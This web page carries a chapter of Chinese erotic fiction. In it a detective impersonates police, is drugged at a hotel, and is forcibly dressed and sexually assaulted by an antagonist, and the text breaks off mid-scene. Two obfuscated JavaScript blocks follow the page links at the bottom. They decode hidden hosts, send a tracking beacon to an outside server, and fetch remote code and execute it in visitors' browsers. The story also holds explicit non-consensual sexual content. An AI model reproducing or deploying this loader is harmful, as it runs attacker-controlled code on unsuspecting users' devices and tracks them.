杨立认真地分析着每一个细节,甚至想过用技术手段去从视频和邮件里获取 更多信息,可是对方早就已经把重要的信息给加密屏蔽掉了。“好像他的每一步 都设计好了,都比我快一步,不入虎穴不得虎子,明天早点去看看现场再说吧。” 思索再三后,杨立还是决定要去看个究竟,这又不是普通的case,即便去报 案,也无法让人信服,而且自己也未亲眼认证,实在难以相信思琪会“背叛”自 己做出这样的事情。计划了一番之后,杨立整理了一下材料,正准备关电脑的时 候,他看到了那封邮件正文里思琪的照片,犹豫了一下,又重新点开了那个视频, 并拉开了自己裤裆的拉链。

三、重逢

13对于西方人来说是个忌讳的数字,被认为是不幸的象征。

今日正好是13日,一个对于其他人来说是个平凡的日子,而对于杨立,他 的心情沉重又复杂,从早上起床开始就愁眉不展,一宿的倦意刻在他坚毅的脸上, 或许他自己也明白,这次他要面临的是个严峻的对手,总是能够提前算计他一步, 并且这还联系到自己的爱人思琪。昨天拨打思琪的电话,一直处于无人接听的状 态,直到凌晨的时候,思琪才通过微信给杨立留了言:“老公,飞机延误了很长 时间,我刚到日本关西国际机场,这三星手机被网络锁锁起来了还不能够使用, 我现在用小ipad连了wifi告诉你一声,不用担心哦。明天一早我还得去 开会,可能不能联系你,你要乖乖的哦,爱你。”杨立早已被视频给搅乱了脑子, 没有任何情绪来回复自己的老婆,只是翻开手机微信,把这条信息看了又看,百 感交集。

“不管如何,这件事应该有个了断了。”杨立紧紧地握了握拳头,起身走向 衣柜,穿上平时办案的正装,白色修身衬衫,黑色的西裤,抹得发亮的黑皮鞋。 他对着衣柜的镜子整理了一下衣服,神情专注地望着柜门上贴的甜蜜合照,不禁 露出一个厌恶的表情。随后,他两只手伸到衣柜的最下层,似乎在使劲地搬动什 么东西,不一会儿翻出一个用牛皮纸包裹着的盒子,撕开牛皮纸,露出黑色的长 方形铁盒。杨立神情凝重地缓缓打开,里面居然是一把中国QSG92式手枪, 深沉压抑的黑色却让人渗得慌。杨立迅速把枪卸开,仔细的检查着每一个部件, 这把手枪原本配备15发子弹,刚好满满一个弹匣,如今却少了两发子弹,只剩 下13颗。这也是杨立最不愿意提起的回忆,这把手枪只是在很多年前使用过一 次,那时候杨立刚出道,接了一个厂矿老板的案列,去调查他的竞争对手,可是 越深入调查越深陷各种困境,最后托朋友从中缅边境搞了这支手枪,也没曾想到 在最后关头救了杨立一命,不过为了伪造各种证据,免于受罪,这把枪被藏起来 很多年未使用。看来这一次,杨立是要玩真的了,他决定要独创虎穴,揪出幕后 人。

披上黑色的西服外套,背上枪套,藏在腹部侧面,一方面便于拔枪,另一方 面也是便于隐藏,毕竟在天朝,如果不是执勤警察,随身携带枪支是要被逮起来 的。出门前,杨立还冲着全身镜,尝试了几个标准的拔枪动作,冷峻的眼神,帅 气的西服,均称的身材,这样一个警察学校毕业的大帅哥当年也是风靡一时。 “不管结果如何,不管要面对的是谁,我一定会抓到那个家伙的。”说罢,便开 门而出,驱车前往约定好的目的地——滨海大酒店,只不过比预计的时间早了4 个小时,可能杨立也是另有打算。

温和的海风,灿烂的阳光,身材姣好的泳装美女,这些都是海滨城市特有的 元素。可是杨立此时此刻已经无心享受这些美景,沿着海滨路一路唿啸至滨海大 酒店。四星的标准配置,背山面海的优良地理位置,让气势

堂皇的海滨大酒店成为众多旅客和当地居民度假住店的第一首选

,人流量自然也不少,要在每天上千人的人流中找出那从未谋面的神秘人就 如同大海捞针一样困难。因此,杨立决定先从房间入手。

半个小时的车程,到达海滨大酒店差不多中午12点了,停好自己的沃尔沃 V40,杨立提了个手提包当做身份的掩饰,缓慢地步入大厅,警惕地环望了一 周,没有发现任何可疑之处。而在外人看来,杨立这一身打扮更像是来做商务的, 不像电影里披着风衣带着墨镜和大边沿帽的私家侦探。

杨立径直走向前台,一位满带笑容的女服务生热情地迎了上来,“欢迎光临, 先生,请问有什么能够帮助您?”

“呃,是这样的,我电话前面丢了,刚好约了位朋友,住在你们这606房 间,不知道他来了没?”杨立说罢,还向女服务生展示了一下自己颇具魅力的微 笑,在这个男色女色纷飞的年代,优秀的外在形象总会给别人好感。

“好的,请您稍等一会儿,我帮您拨打一下606房间。”女服务生一直带 着微笑回答着,说罢,查询了一下电脑记录,便提起前台的电话拨了过去,估计 过了半分钟,电话始终无人接听,“先生,您朋友的房间是已经订好了,可是房 间的电话无人接听。”

“昂,这样啊。”杨立思索了一会儿,说道,“那能麻烦你一下,给我提供 一下他订房的手机吗?或者帮我拨通他手机,我现在有些急事想找他。”“对不 起,先生,我们对于住店旅客的信息是保密,不能对外公布。”女服务生听到这 儿,警惕起来,但脸上依然挂着标准的微笑。

杨立扭头望了望后面,从上衣内口袋里,抽出了一份警官证,往柜台里递了 进去,并轻声说道,“,你好,我是警察,跟我的同事在便衣办案,麻烦您帮忙 查询一下606房间的客人。”说完,还竖起一根手指,比在嘴边,示意让女服 务生保密。女服务生查看了一下警官证,又四处张望了一会儿,抿了抿嘴唇说道, “先生,您稍等一下。”说罢,便操作起电脑来。

对于扮警察这一招,杨立是屡试不爽,而那本警官证是真的警官证,毕竟自 己是警校毕业,警号是真的,只不过毕业后本应该被回收,可是作为私家侦探经 常帮警察老同学解决难题,就托警署的老同学给自己办了这么一张“通行证”, 在天朝这有关系,很好办事情,当然他也是跟老同学约法三章,尽量少用少招摇, 要是事情闹大了谁也保不了谁。

“先生,这是您要的消费单。”女服务生还是挺机灵的,听说警察办案还会 察言观色,边示意点头,边递上一张打印好的单子以及杨立的“警官证”。

“好的,谢谢您。”“不客气,欢迎您下次光临。”

杨立心中窃喜,正准备收拾东西离开。忽然听到一个熟悉的女声,“您好, 请帮我checkin一下。”那声音没有银铃般动听,却温婉柔和如初夏的微 风沁人心脾。

“请提供您的名字和证件,谢谢。”前台有礼貌的回答到。

“王蕊可。”女声简洁地回到道。

“王蕊可!”听到这个名字,杨立的心脏如被注入一针强心剂,心跳骤然加 速,难以平复,猛地一抬头,看到一位个子不高约莫160左右,留着齐肩黄色 梨花烫中长发,一双略带疲惫的大眼睛正专注地望着旅客入住单,淡红色的唇彩 正上下相碰,似乎在跟着眼睛阅读文字。“蕊可!

“杨立望着身旁的美女,轻声地叫道,那绵柔略带情意的叫唤,引起了美女 的注意,美女一开始只是瞟了几眼,然后仔细地打量起旁边这位陌生的旅客后, 也呆呆地望着杨立,想说些什么却又哽咽着开不了口。

缘分天注定,此时此刻,眼前的这个叫王蕊可的女人,正是杨立还在警校读 书时的初恋情人。时过境迁,繁华过世。当年的青葱少年和羞涩女孩,如今都已 到儿立之年。唯一不变的是两人深情凝望彼此的眼神,似乎在诉说着这十年过隙 间的恩恩怨怨。重逢的场景,杨立没少幻想,但是在这样的场景这样的时间点相 见,却是他万万没想到的。

“好久不见。”杨立一句简单的话语打破僵持,“这些年,过得还好吗?”

杨立本以为会很自然地面对,没想到这么多年过去了,再次相见,勾起彼此 的回忆时,还是用这么俗套的台词来打招唿,因为这个时候,杨立脑海中一片空 白,只是最本能地说出这一句。

“呵呵,是啊,好久不见了呢,这几年马马虎虎吧,勉强凑合着过。”说完, 蕊可退后了两步,仔仔细细地把杨立从头到脚打量了一遍,“你还是这么帅气, 比当年是有过之无不及啊,杨警官。”再说到杨警官这个词的时候,还特意拖长 了尾音。

杨立看看了手中的警官证,不好意思的收了起来,像个做错事的小孩子一样, 摸摸自己的后脑勺。“呃……这个……不是这样的……我来这里办事情……你呢?” 面对自己的前任又是初恋,杨立比任何时候都慌张,甚至有些语无伦次。自从毕 业前那会儿分手后,已经很久没见到蕊可了,在他眼里,面前这个年近30岁的 女人依旧很有魅力,高挺的胸部完全不同于思琪的,虽然杨立从未与蕊可发生性 关系,但上学那会儿可没少摸这对柔软的宝贝,如今的蕊可少了几分青涩,却增 添了几份成熟女人的魅力,一袭深V的雪纺白色连衣裤,外面披着橙红色的小西 服,金色的配饰布满脖子和手腕,名媛范十足,良好的保养和精致的妆容,让眼 前这个女人完全看不出是年近30的女人。

“我刚从美国回来,参加朋友的婚礼,父母都已经随我移民去美国了,房子 也卖掉了,所以就只能暂时住这里了。”蕊可平缓地解释道,边说还边瞅着杨立, 捂着嘴笑了笑,“你们来办案穿得还挺正式啊,以前你可是从来不穿黑皮鞋的, 帆布鞋和牛仔裤那时候才是你的最爱,你真是长大了呢。”“你也变了不少啊, 以前都不爱穿高跟鞋,走几步就说腿疼,那时候还让我背你呢,现在不一样踩着 恨天高,你还说我呢。”杨立笑了笑,打趣地回击道,眼睛却不太老实地盯着蕊 可的深V事业线,能隐约地看到稍微外露的小性感。不过男人都是这样,越是得 不到的女人,越是想占有她。

蕊可听后不太高兴,立即露出一幅大小姐模样,瘪了瘪嘴,还特意用高跟鞋 轻轻地蹬了几下地板,“怎么啦,杨大警官对我的高跟鞋有意见吗?”“不敢不 敢,我怎么敢对你有意见,你知道的,以前在一起的时候,我就特别听你的话。” 杨立低下头含蓄地一笑,往往就是这些不经意的动作能够打动女人的芳心。

蕊可听后,扑哧一笑,“你着急去办事吗?这么久不见了,要不要去那边的 咖啡厅喝一杯,叙叙旧?”蕊可指了指酒店大厅一角的咖啡厅,问道。

杨立看了看手表,想到,“现在才差不多1点,不着急,反正606的旅客 名单我已经弄到手了,那房间也没人,去那边坐着等看看有什么人经过。”他匆 匆忙忙地看了一眼旅客名字,“606房间陈琳峰”,真是一个不男不女的名字。 “走吧,咱们去坐会,也好久不见了,这样的重逢也算是缘分吧。”说完,便收 起资料跟着蕊可走向咖啡厅,只是在远方的暗处,一双眼睛正盯着这对男女。

“两杯黑咖啡,不加糖!”“两杯黑咖啡,不加糖!”男人女人刚坐下,便 异口同声地跟服务员说道,说完之后,两人还会心地相视一笑。

这么多年过去了,依旧记得对方的口味和小嗜好,难得的默契也让两人产生 一丝暖暖的情意。两人也借着这迅速回温的情感,彼此问候着近几年的境遇。

“婚姻生活还挺滋润的吧?”蕊可用眼神示意了一下杨立手指上戴的婚戒, 脸上还带着一丝不悦。有一句话说得好,“前任永远是现任的情敌”。毕竟任何 前任在遇到这样的情况时,都不会开心起来,更别说是祝福了,尤其是在自己的 生活遭遇不顺的时候。

杨立望了一眼手上的戒指,又回想到这几天发生的各种事情,有种一言难尽 的感觉,“还凑合着过吧。”杨立抛下这么一句话,很明显是敷衍了事,“你呢? 过得怎么样?结婚了吗?”杨立没发现蕊可的婚戒,自从两人分手之后,蕊可远 赴大洋东岸去留学,就再也没有联系过。

“嗯,婚是结了,我的那位是在美国遇到的,现在应该说是前任吧。一位美 籍华人,刚开始的时候对我还挺好的,到后来他生意越做越大,我们聚少离多, 就分开了。”说到这,蕊可端起桌上的黑咖啡浅浅地抿了一口,简单的几句描述 却饱含着吐不尽的心酸,正如这杯中的黑咖啡,千回百转,看似颜色平淡,只有 自己亲自尝一口才能体会其中的滋味。

杨立听后,无奈地点点头,事实上心中更多的是替自己初恋感到不公,甚至 是有一丝愧疚,或许他在想着,要不是当年自己那么倔强,也不会让蕊可落到这 般地步。可是,这发生的一切又能怪得了谁呢,哪一个人不是命运的棋子?

“那你这次回来准备停留多久?”杨立沉思了一会儿又问到。

“这次回来,也算是故地重游,当做散心吧。时间也不固定,反正我在美国 的工作也辞掉了,或许说不好,我要留下来也不一定哦。”蕊可的语气里还特意 强调了一下最后一句话,说的时候,偷偷地瞄了一眼杨立的表情。

男人对于女人的暗示永远都是迟钝的,杨立也没太注意到蕊可的话语,只是 淡淡的“哦”了一声。随后,他看了看手表,现在是下午时间2点10分,不知 不觉已经跟蕊可待了一个多小时,这时,杨立的手机忽然响起来,他拿出自己的 手机,来电显示是一个陌生的本地电话,本以为会是推销电话,可是在杨立接通 之后,电话那头的声音就让杨立出了一声冷汗,“杨大侦探,我是陈琳峰,你是 在找我吗?”电话那头传来冷冷的声音。

杨立不想让眼前的女人知道太多,便跟蕊可随便编了个理由,去了趟厕所接 电话,“你怎么知道我的电话的?你就是给我发邮件的那个人?

“杨立当仁不让,恶狠狠地回复到。

“哈哈哈,你老婆每周都来跟我玩玩,你的电话还不容易弄到手,看来你的 智商在结婚后真是退步了啊。”对方每一句话都在刺激着杨立。

“你这个畜生,你想怎样?”杨立作为一个男人,还是警校毕业的铁血汉子, 在面对犯罪分子的时候是毫不退缩。

“我也不能把你怎样,你杨大侦探的本事,我还不了解嘛。不过如果你想知 道更多关于你老婆的事情,现在你就来606,我等着你。”说罢,电话就被掐 断了,只剩下断线的嘟嘟声。

杨立已经愤怒无比,他再次检查了一下枪套里的手枪,确认能够在关键的时 候派上用场。他走到厕所的洗脸池,用冷水浇了一下脸,

至少在蕊可面前不可以出现这幅模样,更不能让她卷入这场奇怪的“案件”。 思索了一会儿,杨立走出卫生间,回到咖啡厅的座位上,“蕊可,我可能得先走 了,还有个案子要办,咱们有空再约时间。”说罢,杨立还伪装着露出标准的微 笑。

“哼,肯定是家里的老婆召唤你了吧,还神神秘秘的。”蕊可顺势摆出一副 吃醋的样子,还用涂着黑色指甲油的食指在桌面上画圈圈,“行啦,我自己再坐 一会儿,你有事儿就先去吧,有空再约了。”看到前任女友蕊可醋意大发,一时 间也不知道如何是好,又不能跟蕊可说出真相,“呵呵,好了,改天我请你吃饭, 真的先走了。”男人对于前任总是有着不可抗拒的妥协性,换句话说,应该是对 前任尤其是初恋总是恋恋不忘。说罢,把杯子里剩下的黑咖啡一饮而尽,匆匆忙 忙地离开咖啡厅,奔向酒店的电梯口。

此时此刻,杨立的心里就只有一个念头,“如果那小子敢造次,我就毙了他。”

杨立在电梯口踱来踱去,焦急地等待着电梯,还不时用手戳按钮,似乎是想 催促电梯快一点到来。

漫长的几十秒等待,在这一会儿却被无限拉长,而杨立的脑海里也浮现出各 种虐杀陈琳峰的幻想。

跨入电梯,按下6楼的按钮,急迫与紧张交集在杨立的心头,心跳随着电梯 的上升越来越快,手心也不断地渗出汗水,耳朵也因此受了影响,似乎整个世界 都安静了,只能够听到自己唿吸的声音。窄小的电梯,再加上绷紧的神经,让杨 立有些透不过气,手也不自觉地握紧衣服里藏着的武器。还好旁边只有一位带着 墨镜的长发女孩,正低头摆弄着手机,丝毫没注意到杨立。

“叮!”的一声,电梯到达六楼,杨立喘着粗气,迈着沉重的步子,一步一 步慢慢地挪向606房间,手枪也被从枪套里拔了出来,打开保险,用另一只手 遮住持在腰间。“好像有点儿不对劲儿,我大大小小的案件也办了几十件了,也 从未有过现在这种状态,头有点晕,身体也好沉。”杨立靠着走廊边的墙壁,一 边喘着粗气,一边使劲地摇了摇脑袋。“糟了,我可能被下毒了,是在什么时候? 咖啡厅,电梯里?应该不会啊。”凭借着多年的侦探经验,杨立很清楚现在自己 的危险处境,他第一反应就是先想找个地方把毒解了,这个状态去寻仇是必死无 疑的,正当他想掉头走掉的时候,背部传来一阵刺痛,杨立迅速全身麻痹,侧倒 在走廊的地毯上,眼睛还盯着606房间的方向,就前方住不远处,而他昏迷过 去的最后一个画面——前面那个在电梯里的带着墨镜的长发美女手中正持着一个 电击棒。

“嗒……嗒嗒嗒……嗒……”好像是高跟鞋踏在地板上的声音,让杨立从昏 迷中渐渐苏醒,很显然,电击和麻药的效力还没完全退去,杨立很难集中精神和 力量,但是视力正在慢慢恢复中,他发现自己平躺在一个宽敞的房间里,标准的 客房配置。这时,一个穿着高跟鞋的女人从卫生间里面走出来,“嘿嘿,你醒啦? 感觉如何啊?”杨立努力地集中精神打量着眼前的这个打扮时尚的女人,黑色长 发,画着厚厚的浓妆- 黑色眼线液、柚红色唇膏,简单的女款白色T恤却遮挡不 住胸前凸起的双峰,粉色包臀短裙紧紧地包裹着丰臀,黑色薄丝袜把两条腿修饰 得又长又直,杨立不得不承认眼前的这个女人比自己的老婆和蕊可的姿色有过之 而不无及。不过感到疑惑的是,貌似在哪里见过,却又感觉很陌生。

这时,美女看出了杨立眼中的迷惑,嘴边露出一丝奸诈的坏笑,与脸上挂着 的妆容完全不符,“哈哈哈哈,杨大侦探,你还真行啊,看到自己的仇家还能够 勃起。”一阵阴柔的男声从美女的口中冒出来,让杨立吃了一惊,不过这个声音 杨立绝对不会忘记,眼前的这个女人,或者说男人,就是他要找的人——陈琳峰!

“你……你到底是什么人?不男不女的家伙!”杨立立刻清醒了一大半,可 惜身体还是无法使劲。

“我?我就是你要找的那个人,你要找的陈琳峰!怎么?前面在电梯里没认 出来,现在可以好好地认一下了。”阴柔的男声与眼前打扮时髦的美女显得格格 不入,“你还敢说我不男不女,你也不看看你自己现在是什么情况。”

杨立听完后,心瞪了一下,也许是麻药的作用,醒来后除了注意身边的环境, 完全没顾忌得上自己的身体。他吃力地抬了抬脑袋,却看到自己的全身被黑色的 乳胶衣紧紧的包裹着,从上身到脚趾头,只露出私处正勃起的男根和后庭那一部 分很小的位置,腰间还被黑色的蕾丝腰封紧紧的束缚着,并拖着胸前一堆沉重的 双峰——这是我的乳房?可是他感觉不到胸前的这一对,只是有沉重的感觉。他 想努力地翻身,身体还是使不上力气,只能放弃这个想法。他侧了一下脑袋,从 床铺旁的大落地镜能够清楚的看到自己,脸部也被黑色的乳胶衣包裹着,似乎这 整件乳胶衣是一体的,只露出头部的双眼、鼻孔、嘴巴以及头部后面接着的黑色 高马尾头发,更恐怖的是,自己脸部露出来的部分被画上了浓浓的妆,紫色妖艳 的眼影,沾有睫毛膏的长长假睫毛,黑色的眼线液勾勒出魅惑的大眼,嘴唇上也 被抹上了血红色的唇彩,从一个男人变成了一个欲求不满的妓女,只剩胯下那蠢 蠢欲动的男根还证明着自己男人的身份。

“你到底对我做了什么?有种就放开我,咱们单挑!”粗犷愤怒的男声从这 样的“妓女”口中说出来,一点杀伤力都没有,反而觉得有一丝滑稽。

陈琳峰轻蔑地“切”一声,完全不把杨立放在眼里,“也没什么,只是想让 杨大侦探你体验体验不一样的人生。”说完,陈琳峰还淫荡地用双手托了托胸前 的巨乳。

两个现在都有着近乎完美女体的男人,正你一句我一句的互斗着,如果不停 声音,别人还以为这是正室捉小三的现场呢。在古代战争场上,武斗之前往往都 是文斗,各种排兵布阵各种骂战讥讽,很显然的是,在现代这场文斗中,杨立现 在正处于下风。

“思琪呢?你把她藏哪儿了?”杨立在处于下风之时,还不忘惦记着自己的 爱人思琪。

“昂,她啊?你就不用操心了,这几天她快活着呢。你这不也是刚刚会见你 的初恋情人吗?没跟你的初恋补十年前的那一炮?哈哈哈哈哈。

“陈琳峰说完,如丧心病狂般笑了起来,一双手还不停地摸索着被丝袜和短 裙包裹着的下体。

“你!”杨立愣住了,完全没曾想到陈琳峰会知道蕊可的事情,“这一切都 是你安排好的?我跟你到底有什么仇?思琪和蕊可她们现在在哪?”身为一名职 业侦探,怀疑心是从来都不可以缺少的,短短几秒地分析,已经让杨立对蕊可和 陈琳峰的关系起了疑心。

“我可没干什么,这一切不都是你自愿的,飞蛾扑火——自取灭亡。不过我 不会让你那么轻易死去的,今天既然是个重逢的好日子,一会儿我还给你安排了 精彩的节目,杨哥哥,你不用感激我,自己好好地享受哦。

“陈琳峰用女生纤细的手指把玩着手中的手枪,还特意用女生的伪音强调了 最后两句话。说罢,便放下手枪,带着一脸阴沉的表情走向床上躺着的杨立,手 中还拎着一块湿润的白色棉布。

“陈!琳!峰!你……”杨立被棉布捂住嘴巴前,最后吐出了几个字。

“叮咚”房间传来门铃声,陈琳峰险恶地笑了笑,猜想应该是她来了。

四、乱战

杨立昏迷之后,隐隐约约地听到一些对话的声音,可是他已经无法集中注意 力,只是慢慢地更深沉地睡了过去。在睡梦中,杨立置身于一个空旷的白色空间, 没有边界没有其他物品,眼前只站着一个落魄的女人背景——那是自己的老婆思 琪,正逐步向正前方走去,尽管杨立奋力地向前跑去,思琪却慢慢地远离他而去, 没有回头也没有任何表情,只剩下杨立着急地奔跑着。正当杨立想大喊思琪的名 字,却被一阵刺痛抽回到现实当中。

痛疼感越来越真实,也让杨立从梦境中苏醒过来,可是眼前的景象远比梦境 还要残酷。眼前一位穿着暴露的女人,正尝试用她发烫的阳具进入杨立的阴户。

女人带着金色的半脸假面面具遮住了大部分的面庞,显得格外神秘,黑色的 蕾丝聚拢胸罩只能遮住丰满乳房的三分之一,白花花的大腿上还套着细网格的黑 色丝袜。而眼


上一篇:迷奸刘老师

下一篇:昨天的笑脸(1)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};